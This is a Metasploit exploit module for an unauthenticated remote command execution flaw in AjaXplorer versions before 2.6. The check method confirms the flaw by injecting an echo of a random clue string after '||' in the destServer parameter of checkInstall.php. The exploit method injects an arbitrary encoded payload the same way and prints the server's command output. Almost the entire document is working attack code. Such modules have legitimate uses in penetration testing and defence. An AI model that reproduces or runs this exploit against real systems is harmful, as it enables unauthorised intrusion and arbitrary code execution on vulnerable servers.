AjaXplorer checkInstall.php Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'AjaXplorer checkInstall.php Remote Command Execution',
      'Description'    => %q{
          This module exploits an arbitrary command execution vulnerability in the
        AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
        2.6 are vulnerable.
      },
      'Author'         =>
        [
          'Julien Cayssol',  #Credited according to SecurityFocus
          'David Maciejak',  #Metasploit module
          'sinn3r'           #Final touch on the Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '63552' ],
          [ 'BID', '39334' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby python telnet'
            }
        },
      'Platform'       => %w{ bsd linux osx unix win },
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'AjaXplorer 2.5.5 or older', { }]],
      'DisclosureDate' => '2010-04-04',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])
      ])
  end

  def check
    uri = target_uri.path
    uri << '/' if uri[-1,1] != '/'
    clue = Rex::Text::rand_text_alpha(rand(5) + 5)

    res = send_request_cgi({
      'method' => 'GET',
      'uri'      => normalize_uri(uri, 'plugins/access.ssh/checkInstall.php'),
      'vars_get' => {
        'destServer'    => "||echo #{clue}"
      }
    })

    # If the server doesn't return the default redirection, probably something is wrong
    if res and res.code == 200 and res.body =~ /#{clue}/
      return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    peer = "#{rhost}:#{rport}"
    uri = target_uri.path

    # Trigger the command execution bug
    res = send_request_cgi({
      'method' => 'GET',
      'uri'      => normalize_uri(uri, "plugins/access.ssh/checkInstall.php"),
      'vars_get' =>
        {
          'destServer'    => "||#{payload.encoded}"
        }
      })

    if res
      print_status("The server returned: #{res.code} #{res.message}")
      m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''

      if m.empty?
        print_error("This server may not be vulnerable")
      else
        print_status("Command output from the server:")
        print_line(m)
      end
    end
  end
end

=begin
Repo:
http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
=end